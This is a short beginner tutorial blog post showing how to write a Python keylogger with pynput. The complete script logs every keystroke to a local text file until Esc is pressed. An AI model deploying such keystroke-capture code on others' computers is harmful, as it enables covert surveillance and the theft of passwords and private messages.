How to Make a Keylogger using Python

Hello, Internet programmer today we make keylogger using python. A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer’s keyboard. In this tutorial, you will learn how to write a keylogger in Python.

We use pynput python module to design a keylogger in python. This library allows you to control and monitor input devices.

Installation

type following command in terminal

pip install pynput

Code

from pynput.keyboard import Key, Controller,Listener
keyboard = Controller()

keys=[]
def on_press(key):
    global keys
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)
    
    with open('keys.txt', 'a') as f:
        f.write(main_string)   
        keys= []     
        
def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

try this code to see the output. Follow me on insta @code_snail

You may also like,